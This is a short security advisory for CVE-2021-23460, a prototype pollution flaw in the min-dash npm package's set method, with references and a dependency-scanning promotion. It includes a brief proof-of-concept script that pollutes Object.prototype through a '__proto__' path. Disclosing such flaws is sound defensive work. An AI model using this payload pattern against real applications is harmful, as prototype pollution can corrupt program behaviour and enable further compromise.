CVE-2021-23460: Prototype pollution in min-dash
(updated )
The set
method is vulnerable to prototype pollution with specially crafted inputs.
// insert the following into poc.js and run node poc,js (after installing the package)
let parser = require("min-dash");
parser.set({}, [["__proto__"], "polluted"], "success");
console.log(polluted);
References
- github.com/advisories/GHSA-2m53-83f3-562j
- github.com/bpmn-io/min-dash
- github.com/bpmn-io/min-dash/blob/c4d579c0eb2ed0739592111c3906b198921d3f52/lib/object.js
- github.com/bpmn-io/min-dash/commit/2c6689e2aa29f4b66a4874a2f3003431e9db48d1
- github.com/bpmn-io/min-dash/pull/21
- github.com/bpmn-io/min-dash/security/advisories/GHSA-2m53-83f3-562j
- nvd.nist.gov/vuln/detail/CVE-2021-23460
- snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2342127
- snyk.io/vuln/SNYK-JS-MINDASH-2340605
Code Behaviors & Features
Detect and mitigate CVE-2021-23460 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →